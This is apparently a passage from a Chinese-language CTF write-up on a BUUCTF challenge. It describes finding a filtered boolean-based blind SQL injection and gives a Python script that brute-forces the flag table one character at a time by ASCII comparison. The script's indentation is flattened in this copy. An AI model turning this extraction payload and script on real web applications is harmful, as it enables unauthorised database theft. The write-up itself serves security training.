再尝试猜测闭合。
先尝试单引号
做个小总结,首先根据回显可以判断是布尔类型注入,并且有过滤。
于是利用burp进行fuzz测试看看过滤了哪些关键字。
(472是没有被过滤的)
于是根据布尔类型的注入有了一个想法,将flag表里的东西一个字符一个字符的根据ASCII值判断出来,根据bool回显判断对错。
爆破脚本:
import requests
#地址
url = "http://2a876d2c-e3db-43b4-9417-de01f34ec606.node3.buuoj.cn/index.php"
result = ""
num = 0
for i in range(1,60):
if num == 1:
break
for j in range(32,128):
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i,j)
print(str((i - 1) * 96 + j - 32) + ":~" + payload + "~")
data = {
"id": payload,
}
r = requests.post(url, data=data)
r.encoding = r.apparent_encoding
if "Hello" in r.text:
x = chr(j)
result += str(x)
print(result)
break
if "}" in result:
print(result)
num = 1
break